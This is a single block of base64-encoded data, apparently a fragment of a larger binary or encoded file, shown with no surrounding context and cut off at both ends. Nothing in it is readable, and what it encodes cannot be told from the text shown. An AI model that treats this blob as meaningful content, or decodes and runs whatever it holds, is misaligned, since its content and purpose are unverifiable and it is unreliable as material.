+NGzfOy/6twOyTTz5RIBDQ119/LY/Ho5SUFAWDQUnStWvXZIzRrl27JEXCIWOM3nnnHXs/EwOkxMREJSYm6uHDh+ru7lZlZaUOHz6skZERDQ4OqqSkxA6guru7NTAw4DiXiQGSMUZbtmzR3bt3VVNTY4deZWWRl9RjY2Py+XzKzMzUy5cvNTg4qIKCAhljVFpaGvf8x+8/Ly9P9+7dUyAQ0Pr162WMUXl5ub3tdAOk6TwTs+GWAGnwn7WSpMHaf+j5zg/14vAhBTs7JcnubRNz3/sK1PO3v6rlwH49/eN/qevbEknSWEf7tAKSgXs/qmn3Tv282a/hhsj/B/XerJhxgBTq64uEEdvfV93ydLWfPiVJGm19EbMN1r6D3a/Ckp7yv9nt6v/xh1ehwrNnkqTAtq1R164+O0ODD/8pSXq2Nd++B+PDjpFnz9R69DM925pvBwYjz57N+frUZ2dEzltS97UyPduar/avT0qhkBQO6+fNfj1Ztyayo7ExBbZt1ZN1a9S0d7c6L17Qk3VrVJ+doc6LFyQpbg8nO2D7MPKsh8fG1Hbsf9Xw1noF3n9PL784GtXukWfP9PzDbY4ePu2nT6nzL99Elr+9SQMP7jnOp7fiun3tG9b/QT9v9uvll1+otejInK9p4N0/Rdo+PKz2k8f1bGu+eituRJ6Brq6oACnY06P2M1/r5//Js58l6+/YZNfMCpAkqe92pX7+nzz9vNmvvu8rJUVCSGvb+uwMhX8J8Btz3yJAAgAArkSA5CIESAAAYCmZjwApLy9Pxhh7yLnz58/LGKPKykp7GyucGB8IjTfVeskZIA0MDMgYI7/f79gmMTFR6emvehxY+y0qKnJsV1RUJGOMqqqqZnSuiYmJSktLm/P+m5ubZYzRm2++6Vien58vY4zu3bsXtay8vFw+n0/JyckaGtdLYGKA5PV6lZGREXcuIyuUmjgHUrwAafXq1Y7tHjx4YPdMkqSbN2/KGKOzZ8/a27x48ULGGO3evTtmG8bvf3wAJEXurcfjcRx3OgHSdJ+J2ZjPACnY061gV5ejphMg2SFDKOQYCsx6Sd7/w91pt6U+O0MaG5NCoSkDkokhkxXqhIeGZhQgWeFAqK/X2Q5JCgbjtsPqcWW9vA/29ETCl2DQ7vXy+Pe/k8Jhu00xw7d/1EiKPQfSxF4nDev/4DjHuVyfF59EetONtrQ4trN6yLR99b+RdoTDCo+MqOVAYczjWQHJVPP5WAFP17clk7Z7/DWdrKweX9b9tcKXwX/U6PHvfxf72ZrlNe25Xi5J6in/m2O51XvLCrqsAGl8D7S65eka64gMf2kNZRfvmlnnMD6YrFuersD770WWd3bay14c/kTS1L38pioCJAAAsJAIkFyEAAkAACwlcw2Q+vv7ZYxRenq6KisrVVlZaff6yM3Ntbdra2uTz+eTMUYbNmzQnTt3HPuZar3kDJDC4bC8Xq9WrFhhr7cChPHHtUKRief5/fffO4aBi+fx48c6e/asCgsL9eGHH9oBzlz3f+PGDRljlJ2dre3bt9uVmZkpY4wuXbpkbzs0NKTk5GS7t87Dhw8d+5oYIB05ckTGGPl8PhUVFalrwpBnMw2QDh065NguHA7LGKMPP/zQvkbGGO3b9+rF9O3bt+35jeKx9n/gwIGodVYvNst0AqTpPhOzMa8BUleXxtrb7Br66aHjxX68AMl6uS1FXnBbZRl++jTusRtz31LX1csafPhPjb1sVbC7OxLCSFMGJP1Vd6LWhfp6JUV6ekw3QLJCHgWDdrDQcjBy70cC8XulWD1QXn75uR1CDT78pz0sX/O+ArUcKIy09ZceSTMNkII9PTHOsU8aG5vz9ek4f27S+9Z19XLkPG/dtJeNvWxV2/Fjjl4z0w2Qhup+kqSoeaMmtnvk59jPS+D999RbcUPDjx9rrKPdPhfrOf15s//VMHfBoPpuV+rZ1vx5uaZDP/3yb1soFPNaWcPsWQHSxACs/24ksLfaM1WA1P3dlag2jP4yZ1vT7p2O56b18yICJAAA4FoESC5CgAQAAJaSuQZIVugQr8aHF52dnSooKLDn00lLS9OjR4+mvX7iEHZ79+61e7Ds379faWlpMsY4PmO1b+J3NyvgiBfwjI2NacOGDXYQs2bNGm3evFlerzdmgDTT/Z89e9aelyczMzOqxg/fNv5c09LSov6nYGKAJEmVlZVatWqVfR8+/vhj+3MzDZBOnDgR1f7xAZIkLV++3O79s337diUkJMjn88XtBTV+/8XFxVHrVq1aJY/H4zherAApMTHR0YNpOs/EbLhhCLvmfQV2e4bqfoqqnuv/N+Z+n23Nt+esCfX1avAfNY6wYqqAxJpTZnxZAcKTdWtmNIRd/48/RA4aDtvDuklSy4H9cdth9eDpr7qjrquXJUV67bQWHYm0r+KGPazdyy8/j3ntxgcBsQKkkefPZxx2TPf6dH8XmdMnPDQU8769/POX9udaDh7Q8NNG+7qMdXTYYdt0A6SRZz9Lkj1MYNzn7K+lUevaTnxlH3u09YUG7v1ohzpWgFS3PF0Nb61Xz/VyhYeH7e2tHk9zuaZW28c6OmJeKysUswKkiX+X+qsiv3gw3QAp1nNnXYP+qjuR0DMUUnhkZNJhAwmQAADAYiNAchECJAAAsJTMNUBKT0+359sZX2fOnIkbDoyMjOjkyZPyeDyO3iJTrZ8YIA0MDMjn8ykxMVGrV6/WsWPH1PLLb49bJoYilqkCntOnT8sYo/z8fMfypKSkmAHSTPd/69atqF478dTW1tphkzFGR48edayPFSBZHj16ZAdJt27dkjTzAMma22q8iQHSw4cP7Z5oOTk5KikpUX9//6TnZe1/7969juXhcFgej8dxnWPdC0nyeDyOAGk6z8RsuCFA+nnzL0PzBYMzepnd9/fIfZ8YAFimCkjGf65uebqe/vdGux11y18N2Tby7Gfndr8sHx8gNe/fI0kK9fVp8J+1aj/ztSPQiVVWz6Vgb69GW19IigQz1sv9YFenRl9E7rEVtkwaIP33RntZrO2mG3ZM9/q0ffW/kqThp43TvmeBd/9kz+nUXXp1Qhjy5aSftXpmdV68MK3nbHxZvX3GzwFkBXUTz9O6fh3nz9o9yx7//ndzuqb9P0R+HnVd+XbSc5x5gOS8ZlaA1Fy4L+Y5hcfGFB4dVcfZ05Kkvspb07538YoACQAALCQCJBchQAIAAEvJXAIkKzQ4fPhw1LpQKCSfz6eUlJS4n3/77bdljNHAwMC01k8MkD799FMZYxzzAU0024DH6slSU1NjL7t//74d5Mx1/+3t7TLGKCkpKW7bJWlwcFBJSUlKSEhQT0+PcnJyooaxmyxAkqTW1lbHfERW2y5evOjYbi4B0sqVK5WZmTnpuUxk7T81NdWx/NGjR1HDzk3s+SVJ1dXVUXMoTeeZmA03BEh1y1/1bGk/dSIqZIm3XytQ6Dh72l7WdeVb+9ymCkgUCjlCl47zkbmurGHnHv/+d5HtwmHH3EzWfDbjA6SBmgeSXg1FNt0a+fmp3d7hxgZ7uTWPkCSNtrY6QoCJ184KF8bPmzMfAdJU1+fZ1lfB58//k+fYR8P6P8T877rl6XpZ/LmkV0PkvfxzsSSp92bFpNeq8+L5uOcU6zkbX9bz9exPW15d48eR3ntWgDSxnXXL0yNDIioSzs3lmraf+dp+ZiY+z+PnU5pugBTvmk0WINUtT1df5d/H//WP25trJkWABAAAFhIBkosQIAEAgKVkLgHS1q1bZYxRa2trzPUHDhyQMUb37t3TuXPn9O6776q8vFz37t3T6dOn5fF4lJ6ernA4POV6KTpAKi4uljFGmZmZ2rRpk/Ly8nTs2DE1Njba28w24LF6/bzxxhuqqKjQoUOHlJiYOG8BkiTt27dPxhitWbNGV69e1eXLl7Vjxw5lZGQo9Mv8NPn5+TLGqLKyUpLU3d2thIQEJSUlaXBwUFJ0gLR69WqdOHFCP/zwg65fv67c3FwZY1RSUiIpMjyfx+NRWlqaKisrVV1dHfNcZhIgvfnmmzLGaN26ddq0aZPeeecdlZSUqKOjI+75W/u3wqJbt27p2rVrSklJkTFGtbW19rbr1q2zh7ErLS3V+++/L4/HExUgTeeZmA23BEhWbxZJGqqvU/8PdzXW1iZJajv2vzH3++LwJ5Kk0OBgZPuOdse5TRmQSAoPD6vv77ciYdQvfx9ffHLQ3nb0l38DQgMDGm1tVWhcKOwYwq7q1dxm4dFRhUdGNPz0qTpLLunx738Xty1d35bYn2s/ferV9Rg35FrPtb/ay2Ndu9bP/r9IG/v61HO9XC+/ODo/AdI0ro/Vs0ZjYxq496MGah7YQ/g9/e+Nalj/B0mRXko95X9T353b9vrOby7ZwY2kyLxDd26rs+RSzHbVZ2fY13+srU39d6sigUsopPrsjEkDpN6K668+9+MPCv3yb4z0KkDqrbih0OCg+u7cVs/f/qrhx48jzerpUX12xpyuaX12ht0LKtTXq/67VRqqr1N4ZESh/v4ZB0jxrtlUAVJg29aYzy8BEgAAcCsCJBchQAIAAEvJbAMkK4RYu3Zt3G1aWlrsoceuXbtmBzDGGDsMsr5TTbVeigRIVq+UgYEB5eXl2XMUWUPpWZ+PF4pYrIBn4lxD4+3atcuej8kYo+3bt+vgwYMzCpAm238oFNLRo0ftIMSqzMxMhcNhXb9+XcYYffDBB47PVVRUOOYEysnJUUJCgr1+7dq1jv0tW7YsqpfYsWPH5PP57Gs9/lyssGWqAGnnzp2SpMbGRi1btkzGGKWkpCg9Pd2+bh6Pxw66JrL2f/36dXuuIqs9E4O3pqYmbd682b5WHo9HhYWFWrdunR0gTfeZmI15C5B+GdZsskCi6/JfHCHIcMMTx3atnxcp2BPp8aFfgsaxjg417doed9+9t26+CgOCQfVX3bF7Jk3ZnquX7ZBKiszl0/aVM6z6+e1N6r9bZc+1FB4dVW/FDY11dNgv4Jt2bbf3Eezp1vDTRo2NCxit845Vzz98Nf/V+J4o44fia95XEBUgjb929dkZkTaOjUmSRpubpgw7gj3d83J96panq7v0amTOoHDYDpmGnz7Vk3VrVJ+dEQlifrmfkTY9V9fVy459dF359tXcUeFw3NDt6R//S8NPftlfKCQFgxp59mzKAOnpH/8r0kssGIwcYmREHefOKNjdbQdIbcf+V8GeHsf5Dtz7UYH333Nc+9lcUyv0GXhwL9IG63oEg+r/4e60A6TG3LcmvWZTBUh1y8cN5xdnKEACJAAA4CYESC5CgAQAAJaSuc6BNFMvXrxQIBCY9XrL4cOHY4YCPT098ng8juHP5iIUCun58+cK/vJCdaG0tbWpqalp3oZeGxoaUmNjo/qsF6cxhMNhBQKBuEMITteqVavk8/nUNu4luvQqRIsVQMXS29sbtzebZXR0VIFAIOb/GC3kMzEfAdJ81+Pf/27Soeti1fgX67M5Xqzhy8ZXfXZG3GNYw821Fh1xhha/zBkU7On5Va7bZG2c6/2Y6vpY21mhUby2TdYby7qP073vU+0r3jWa6lwa1v9hQa7jbK7pdGom16w+OyMS9skZWM6lCJAAAMBCIkByEQIkAACwlPzaAdJ8yc7OltfrtYd6swwPDyshIUEbNmxYpJb9toRCIRljtH79+qh11lxGRUVFv0pbFvKZcGOA9LqV1Qtk4jxATXsjc3ONNjctehspqm55unr+b7kkabD2H/O2TwIkAACwkAiQXIQACQAALCWva4D00UcfyRgjv9+vK1eu6Pbt2zp9+rTS09NljFFFRcViN/E3IzMzU8YYHThwQDdu3NDNmzdVVFSkhIQEJSYmqru7+1dpx0I+EwRIcy9reLHQQL8G7t9Tz/X/q6FH9fZwbvHmcKKoX6PqszPUX3VHo83Nkb/0oZA9l9J8FAESAABYSARILkKABAAAlpLXNUAKBoP67LPP7Ll3rLlz3njjDd25c2exm/eb0tbWpu3btzvmG/L5fHrnnXemNRzhfFnIZ4IAaX5e0Hf+5RuNPH8euajhsEJ9vRp8+E+1HChc9PZRv+1qWP+HyBxeoZAGH/5Tzfv3zOv+CZAAAMBCIkByEQIkAACwlLyuAdJ4Y2NjUcOWYXGMjo4udhMkzf8zQYBEUdRcigAJAAAsJAIkFyFAAgAAS8lSCJCAhUaARFHUXIoACQAALCQCJBchQAIAAEsJARIwNQIkiqLmUgRIAABgIREguQgBEgAAWEoIkICpESBRFDWXIkACAAALiQDJRQiQAADAUnL37l0Fg8HFbgbgagRIFEXNuv4zjQAJAAAsKAIkFyFAAgAAS0ltba26uroWuxmAqxEgURQ12/rpP/5d/0xJWux/xgAAwBJGgOQiBEgAAGApaW9vV21t7WI3A3A1AiSKomZbtf/2r2res3Ox/xkDAABLGAGSixAgAQCApaaxsdHuicRwdkA0AiSKomZU/5mmn/4jRbX/9q+qy1i+2P+EAQCAJY4AyUUIkAAAwFJk9US6e/cuRVET6h++f6EoippR1f6f/0fPP3h3sX+8AwCA3wACJBchQAIAAAAAAAAAAG5AgOQiBEgAAAAAAAAAAMANCJBchAAJAAAAAAAAAAC4AQGSixAgAQAAAAAAAAAANyBAchECJAAAAAAAAAAA4AYESC5CgAQAAAAAAAAAANyAAMlFCJAAAAAAAAAAAIAbECC5CAESAAAAAAAAAABwAwIkFyFAAgAAAAAAAAAAbkCA5CIESAAAAAAAAAAAwA0IkFxkIQKkJ0+eUBRFURRFURRFURRFURRFURT1G6n5zBcIkFyCHkgAAAAAAAAAAMANCJBchAAJAAAAAAAAAAC4AQGSixAgAQAAAAAAAAAANyBAchECJAAAAAAAAAAA4AYESC5CgAQAAAAAAAAAANyAAMlFCJAAAAAAAAAAAIAbECC5CAESAAAAAAAAAABwAwIkFyFAAgAAAAAAAAAAbkCA5CIESAAAAAAAAAAAwA0IkFyEAAkAAAAAAAAAALgBAZKLECABAAAAAAAAAAA3IEByEQIkAAAAAAAAAADgBgRILkKABAAAAAAAAAAA3IAAyUUIkAAAAAAAAAAAgBsQILnIbz1AGhsb0/Dw8GI3Y8kIBoMaGRmJu/7XvN7cWwAAAAAAAAB4vRAguYibAqSenh6Vl5eruLhYd+7c0cDAwIIf88CBA/J4PAt+nN+KM2fOyBij/v7+mOt/zes93WOdPXtWJSUlC9KGgoIC1dTULMi+AQBTCwQCKisrUygUWuymAAAAAACAaSBAchE3BEjd3d3KyMiQMUbGGHk8Hvu/r127tqDHJkCaX1aA1NvbG3P9Ql3vmpoa3blzZ1bHWrZsmTIzM+e9TQMDAzLG6KOPPpr3fU/Hd999p0AgsCjHBgA3+O677+zvFENDQ4vdHAAAAAAAMA0ESC6y2AHSwMCAli1bJo/HowsXLmhoaEjhcFiPHj3SmTNnNDY2tqDHJ0CaX4sVIL311lvavXv3rI7V1tamjo6OeW+TJDU2Ni7KMHrhcFher1fXr1//1Y8NAIttbGxMO3bskDFGqampBEgAAAAAALxGCJBcZLEDpN27d8sYo8rKykm3KygoUCAQUFVVlbZt26ZNmzbZ6+7du6d9+/Zp48aN2rFjh2prax2f7erq0uXLl5Wfn693331XFy5c0PPnzyW9ChlaWlp05MgR+f1+HT9+XO3t7VFtaG5u1scff6zc3Fzt3btXT58+dawPBAI6efKk/H6/9uzZo9LSUnV3d8c9p5GREX311Vd6++23tXHjRh08eFBdXV32+u+++07btm3Txo0bVVRUZO8rGAxq7969McOBM2fOqKioyP5zdXW1du7cqdzcXH322WeOYQEDgYD27NmjUCikkpIS+f1+x2enOl9JunbtmrZu3aq8vDydO3dOp0+fnlaA1NTUpEOHDsnv9+vQoUN68eKFJCkUCmnfvn0qLy+P+uyFCxd0+PBhx7KxsTEdO3ZMxhgtW7ZMBQUFKiwsdBxrqnt76tQpXbhwwXFdpnsfR0dHVVFRoYKCAm3atEnHjh1zDFlXUFCgu3fvOtpbUVGhd955R3l5eSooKLArHA6rsrJSJ0+e1IsXL3T48GHl5ubqq6++Ultbm+O4vb29OnXqlLZu3ar8/HyVlZXZ97ajo0MffPCBjDHasGGDCgoKdO7cOUnS559/rqtXrzr2NTAwoIKCAtXX19vnP9fnAgAW09DQkNLS0lRSUqILFy4QIAEAAAAA8BohQHKRxQ6QVqxYoYyMjCm3M8Zo06ZNMsYoKytLGzdulBR5WW6MUUJCgjZs2CCfzydjjP0Sf3BwUMnJyfJ6vcrJyVF2drY8Ho+++OILSZGQwfq81+vV2rVr7eFu6urq7OPX1tbay1evXi2PxyOPx2Mf59GjRzLGKDk5WX6/X+np6TLGRIVZlr6+PqWkpMgYo5UrV2rt2rXyer12UOH3+2WMUXZ2tnJycuT1epWQkGAPSbZixQqlpKQ49mkNmbZ161ZJkbl9rHPLzs6WMUZJSUl20HDnzh0ZY5SXlyePx6PVq1frs88+m9b5StLBgwdljNHy5cu1atUq+1hTBUjGGHm9Xnm9XnvoQq/Xq8bGRklSdna2EhMTHZ8bHh6Wx+NRXl6eY3l3d7d9raxr//bbb8/o3mZmZmrt2rWzuo/WsdeuXas333xTXq9X69ats9cbY/T555/bf87IyJDX69V7772nN954Q8YY+Xw+7d+/X+Fw2A69YrX54cOH9n7ef/99GWOUkZFhX3vrHKqrq7Vu3Tr774rf79fRo0clSUlJSdq8ebPjHJqbm2WMsYOluT4XAOAm586dI0ACAAAAAOA1QoDkIosZII2NjckYow8++GDKba05kWL1VGppaXHs0+PxaNeuXZKk77//PupzwWDQHhrPChn27t1rLwsEAjLGOIZEy8zMVEJCgvr6+iRFAiCPx6OVK1dKkgoLC2WM0eDgoP2ZkZGRuOezd+9eGWNUXV0dte7mzZsyxjh6fbS2tsrj8Wj9+vWSZPf0+emnn+xtrN+yrqmpUU9Pjzwej9588037vKqqqmSM0aeffirpVVDg9XrtHkDTPd+2tjYZY+z2WPfBCvCmCpDGX+9Hjx7J4/HYoeCVK1dkjFFVVZX9OWvZ+N4843m93phD2E333lrhy0zuYzAYlDHG7vFkGR0dtf97fIBUW1srY4xKS0vt9VboNLHN+/btm7TNPT09jt5kn3/+uYwx6unpkRT5R9YYE9VLbSYB0myeCwBwGwIkAAAAAABeLwRILrKYAVJLS4sj0JiMMUZpaWlx14fDYb18+VJPnjxRRkaGMjMzJUnt7e0yxig9PT1m+GS9sO/s7HQsT0pKUm5urqRXPXs2b96shoYGuzIyMuw5dsrLy2WM0caNG6d1LdPS0rR69eqY6z788EMZY9Tc3OxYvmbNGhljFA6H1d/fL2OMdu7caa/Pzs62eyVZ7Tlx4oTd3sePH8sYY/eQsYKC7du3O44znfMtLS2VMUaXLl1yfNYaknCqAGniMHJ5eXlKSEiQFAkBvV6vY5jCdevWRfVKGm+yAGmyeys5A6TZ3Eev16sLFy7EDJrGB0hWCDa+t47Vk8j6x9Bq8/ihDGO12TI0NKRnz57p22+/lTFGd+7ckTQ/AdJsngsAcBsCJAAAAAAAXi8ESC6ymAGS1YMjPz9/ym2NMfr444+jlgcCAW3YsMHuoWQNr2UFSFKk52TUEEgAACAASURBVI01XFxycrIuXrxor7Ne2E+Unp6unJwcSVJdXZ29/1hlBQcnTpyQ1+u1h6WL1bvI4vF47KHmJnrzzTftMGW8zz77TMYYez4cv9+vhIQEhUIhtba2yhhjD8335z//OW57V6xYIelVUDC+p890z7e4uFjGGHtIPYs1H9FUAdJEVs+fYDAoKTJ3kDFG/f396urqkjFGn3zySdzrOVmANNH4eys5AyRpZvexpaVFq1evtnvsfPTRRxoeHrbXjw+QOjs7ZYzRmjVr9OOPP+rKlSvyer368MMPZ9zmr776SomJiVHP/e3btyXNLEBqamqKGSDN5rkAALchQAIAAAAA4PVCgOQiiz0HUlJSkpKSkuzgIJ6Jc8mM/7zH49Ht27ftF9iZmZmOAMlSVVVlv+w/ceKEJNlzzkw0/oW99YK9oKBA/f39UTXe2NiYSkpKlJycLGOMHj16FPN8fD6fsrKyYq577733ZIxxBBGStHXrVhlj7KHLbt++LWOMbt26paNHj8oYo46ODknS+fPnZYxReXl5VHut/VpBwcT5faZzvmfOnIk5BJ81lNpUAdLEsGHDhg2O+/Ds2TMZY3T27FmdPHlSxhjHUIUTxQuQprq3UnSAJE3/PloaGxv17rvvyhjj2PfE57akpMQOXNLT03X48GF73qvpttnqbZSXl2cPMWfdy+kESON7dknSw4cPYwZIs3kuAMBtCJAAAAAAAHi9ECC5yGIHSF988YWj50w8sQIkq2fK+B4c1tw8sQIkS2pqqr1+Oi/sQ6GQPB6PPTzcdPT09MgYowMHDsRcv2rVqpghkfRqLqNbt245liclJcnn89l/DofDSkxM1Ntvv620tDS98cYb9rqamhoZY7Rt27a4bYwXFEznfK35lI4cOeJYnpubO60AyQo6LAkJCUpPT3csW7lypVauXKmsrKwp59hJSEiI6sk2lwDJMtV9nGjXrl0yxtjzF018blesWCG/3x/389NpsxUwWvMdjV9mXVdr3qSSkpKo/aSmpjqWWQHdVAHSbP4eAMBiI0ACAAAAAOD1QoDkIosdII2Ojio1NVXGGOXm5urKlSuqrKzUmTNnVFBQYPdMitcDKTU1Vampqfrhhx909epVZWdnOwKk+vp67d+/X/fu3VMgELDn7tmyZYuk6YcMRUVFMsZo9erVKikpUUVFhQ4dOqRjx45JivQsOXbsmOrq6vT48WMdOXIk5gt8y61bt2SM0fr163Xnzh1VVFTo4MGD6urqUk9Pj5KTk5WSkqLbt2/rp59+sucW+vrrrx37OXjwoN2j5dq1a451Vm+rvLw8VVRU6MqVK9q1a5du3rwpKX5QMJ3zDYfDSklJUUJCgsrLy3X37l3l5+fbbZkqQPL5fCoqKlJtba127twpY4zOnz/v2NaaM2iy62jZtGmTvF6vqqqq1NjYaB9rpgHSTO5jOBxWfn6+bt26pUAgoO+//16pqamO4QcnPrfJyclKSkrS7t27VVhYqOLiYj19+tRxfaZqc1lZmYwxKioqUk1Njf2ZicGc1cutvr5eTU1NkqR33nnH/uz9+/e1f/9++7NTBUjS1M8FALgNARIAAAAAAK8XAiQXWewASZKGh4e1fft2JSQkOOZ0SUtL0+joqKTIi/ji4uKoz5aXl9sBlBVCFRYW2sPD1dfXKykpyV6fkJAgv99v9944ePBgzBf2y5YtU25urv3nUCikoqIi+2W7Vda8PJcuXbLnzTEmMtfS/v37Jz3vCxcuOD6TlJRkz2/U3NyslStXOq7Hl19+GfWXprm52Z5/x+r1Yunt7dXmzZsd7fV6vfawZlYvoocPH0a1barzlSLDzC1btszR/uPHj08aIB08eFCrVq3Snj17HPs9ePBg1LmNjY3J6/XK4/FM+eLv/v37Sk9Pt/c3NjY27XublZWldevWSZrZfQyHw1q+fLnjHq1du9YxrN/43nWPHj2yn9XU1FR7eDxjjC5cuGBfn6naPDY2ptzcXPveeL1eVVRURM1bdPbsWfl8PhljlJGRISnSQ8/v9zs+e/HiRUeANNfnAgDcxAqQYvX4BQAAAAAA7kOA5CJuCJDG6+7u1suXL2f8uZcvX0bNqzNee3u7mpub59I0W1tbm1pbW6MCm3A4rObmZnseounq6OiIG7gMDw+rtbV11m2VpGAwqJaWFnV0dMzqL12887X09vbO+JytdjU3NysUCsVcPzIyIo/HEzU03WRaW1vjXsvpmul97Ovr07Nnz+JeH8vy5cuVlZVlz2ElRQKZ7OzsqOH7pmN4eNgOHOMJh8N6/vx51IvTkZGRSeeUmo6pngsAAAAAAAAAmCkCJBdxW4AEWD799NO4PWFeN8FgUMYYvf/++47lIyMjSkxMVFpa2iK1DAAAAAAAAADcgwDJRQiQ4DZ79+5VTk6OjDHy+/2L3Zx58+abb9rndPToURUWFiotLU3GGP3444+L3TwAAAAAAAAAWHQESC5CgAS3yc3N1fr163Xx4sVJhyV83QwPD+vy5cvy+/3Kzs5WTk6OCgsL9fTp08VuGgAAAAAAAAC4AgGSixAgAQAAAAAAAAAANyBAchECJAAAAAAAAAAA4AYESC5CgAQAAAAAAAAAANyAAMlFCJAAAAAAAAAAAIAbECC5CAESAAAAAAAAAABwAwIkFyFAAgAAAAAAAAAAbkCA5CIESAAAAAAAAAAAwA0IkFyEAAkAAAAAAAAA8P+zd/c/UR34+///qFdyksl3kknIpFZdRddPt6xGxCXew9u61C1dq+K22hVv61aNula33lVbF1vaSrUstdilLbbelVLRigtaVEAUOFZur+8PzRwZOMAoN3OE5yN5JtthmDkMEtm5PDNAEDAgBQgDEgAAAAAAAAAACAIGpABhQAIAAAAAAAAAAEHAgBQgDEgAAAAAAAAAACAIGJAChAEJAAAAAAAAAAAEAQNSgDAgAQAAAAAAAACAIGBAChAGJAAAAAAAAAAAEAQMSAHCgAQAAAAAAAAAAIKAASlAGJAAAAAAAAAAAEAQMCAFCAMSAAAAAAAAAAAIAgakAGFAAgAAAAAAAAAAQcCAFCAMSAAAAAAAAAAAIAgYkAKEAQkAAAAAAAAAAAQBA1KAMCABAAAAAAAAAIAgYEAKEAYkAAAAAAAAAAAQBAxIAcKABAAAAAAAAAAAgoABKUAYkAAAwFjU0NCgiooKnTt3joieoIqKCjU0NCT7RxgAAADAOMWAFCAMSAAAYKyprq5WRUWFmpqa1NnZmezDAZ4ZnZ2dampqUkVFhaqrq5N9OAAAAADGIQakAGFAAgAAY0nszCMAQ8OZSAAAAACSgQEpQBiQAADAWBI78wjA0MTORAIAAACA0cSAFCAMSAAAYCw5d+4cL1sHDIPOzk6dO3cu2YcBAAAAYJxhQAoQBiQAADCW8IQ3MHz4eQIAAAAw2hiQAoQBCQAAjCU84Q0MH36eAAAAAIw2BqQAYUACAABjCU94A8OHnycAAAAAo40BKUAYkAAAwFjCE97A8OHnCQAAAMBoY0AKEAYkAAAwlvCENzB8+HkCAAAAMNoYkAKEAQkAAIwlPOENDB9+ngAAAACMNgakAGFAAgAAYwlPeAPDh58nAAAAAKONASlAGJAAAMBYwhPewPDh5wkAAADAaGNAChAGJAAAMJbwhPfgOjo6kn0IeEbw8wQAAABgtDEgBQgDEgAAGEuG8oT31atXdf369T6Xt7W1qbKyUrdv3+7zsdbWVlVWVqq5ufmp7zdRKSkpys3NfarP7ejo0OrVq+U4jsxMkydPHuaje+zKlSu6evVqvx+/evWq72OZDE1NTSopKdG5c+f08OHDUb3vnJwcRaPRUb3PJ8WABAAAAGC0MSAFCAMSAAAYS4byhPfMmTPlOE6fM3SKiopkZnrxxRf7fM67774rM9OZM2cSvp/u7m599dVXT3x8oVBI2dnZT/x5knTkyBGZmbKyslRQUKCCgoKnup1ExEaqs2fP+n48HA7rlVdeGbH7T8TBgwc1ceJEmVlckydP1r1790blGLKzsxUKhUblvp4WAxIAAACA0caAFCAMSAAAYCwZyhPeO3bskJnp+++/j7t8+fLl3sDQ1NQU97GFCxfKzOS6bsL3c/HiRZnZEx/fUAak7OxsmZkePXr0VJ//JGIDUiQS8X1ckj0gHT58WGamiRMn6pNPPlFVVZXOnj2rLVu26M033xy142BAAgAAAIC+GJAChAEJAACMJUN5wjs27Gzfvt27rLu7W6FQSKmpqTKzuDN3urq65DiO0tLS4m6nqalJ5eXl+uyzz3T37t24j7W3t+vVV1+VmamyslKVlZWqq6uLu87NmzdVUlKikpIS3bhxw7s8NiB1d3fr+vXrKi4u7jNo+Xn48KFSU1OVkpLi3WfPs6xc19WFCxd0+vRpXb9+vc8v6V1dXaqsrNSjR4/U3d2tS5cu6dSpU2ppafG9P8dxvMcrLy+vz8f7G5BaW1tVXl6ukpKSuJe4i91/fX193PXv3LnjHVdPV69eVW1tre+xnT17VmamWbNmDTqmVVdXe2cj1dbWqqioKO52B/o+x3R3d6uyslIlJSW6c+dO3Md6Dkh3795VSUmJampq+j2e/h6fntra2vTNN9+orKys3+/Pk2BAAgAAADDaGJAChAEJAACMJUN5wruzs1OO42jmzJneZbFRqaCgQKFQSAsXLvQ+VlFRITPT22+/7V32t7/9rc/Lov3pT39SW1ubJHnDSs9effVVSb8NEvPmzevz8crKSkm/DUizZ8/WlClT4j6ekZHR78uunTlzps/tmZk3xpw8edI7YyjWiy++GDdqXb9+XWam06dPa8KECd71+htpHMfRzp079ac//Ulmpu+++y7u434DUlFRUZ/jyM/Pl/TbwGVmWrZsWdznpKWlycxUWFjoXfbgwQOZmVasWOF7bKtWrZKZDfgeTTGhUEj/+Mc/vLO3zEzvv/++pMG/z5K0b9++Pl9TOBz23i8rNiDl5OTEXWfKlCl9zoIb6PGRfvudftmyZX2OKTMzc9CvcyAMSAAAAABGGwNSgDAgAQCAsWSoT3jHXpIuNgRs2bLFG1z+8pe/yHEc72N79+6Vmen8+fPe5xcWFmr79u26ePGibt68qRUrVsjMdOzYMUlSS0uLN2Lcv39f9+/f924vNlTs3LlTtbW1un79uo4fP+7ddigUkplp5syZOnnypKqrq5Wfny8z09q1a32/nvb2dt2/f18vvPCCJkyYoPv37+vBgweSfjtTx8w0Y8YMVVZWqqmpSYWFhXIcRzNmzPBuIzYgOY6jjIwMXb58WdeuXVNXV5fvfTqOo82bN6uurk6O4ygajcad7dN7QIrd/owZM1RaWqqKigotWrRIZqaTJ09K+m0sCofD3uc0NjZ6I8mSJUu8y0+fPi0z02effeZ7bKmpqZo4caLvx3oLhUJyHEcpKSkqLS3VjRs3vPFnsO/zzZs3ZWZatGiRamtrdffuXX322Wc6cuSId/ux73c0GtWBAwdUW1urf//7396I9CSPz4kTJ7w/Ow0NDaqurtYHH3zwRO/N5YcBCQAAAMBoY0AKEAYkAAAwlgz1Ce+DBw/KzPTNN99IkqZMmeI9mX/q1CmZmUpKSiRJmZmZchxHnZ2d/d7e7du3ZWZat26dd9kbb7zR5z2QYoPDQO8NFBs0Hj586F3W0dHR56wpP2lpaZo8eXLcZbEzX3q/hN6ePXtkZiorK5MUPyD1vO/+OI7jnR1z5MiRPmfL9B6QcnNzZWa6cuWKd9ndu3dlZpozZ46kx+9Pdf36dUnSsWPHZGbKycmJG/XWrFkjM/OGnp7a2tpkZpo3b96gX4P0eLArLy8f9Lq9v8+xx6y/YU96PCBdvHgx7vKMjAyZmffnKpHHJ/Y4D3Uw6o0BCQAAAMBoY0AKEAYkAAAwlgz1Ce/q6mqZmbZs2eI9Sb9lyxZJj19KbcWKFd7L3S1YsCDu87u7u1VeXq6DBw8qPz/fGzRWr17tXcdvQIq91NypU6f6PbZQKOQ7FL344ot9xqHe/Aak1NRU38+LnZm0b98+SY/HkN4vIdefngNSd3e391JzFRUVkvoOSNOnT/fGlp6ZmVJSUiRJly9flpnp8OHDkn4bWSZOnKjS0tK44WTChAlxZ0/11NHR4b3kXyJCoZDC4bDv/2lJ5PscG4KmT5+uwsJCtbe3x91GbEDqfSZX7Ky32HsYJfL41NfXKxKJeGdkffvttwl9jYNhQAIAAAAw2hiQAoQBCQAAjCXD8YR3JBJRWlqa97Jgly5d8j42Z84cRSIR7/2PDh486H3s9u3bmjhxosxMkydP1sKFC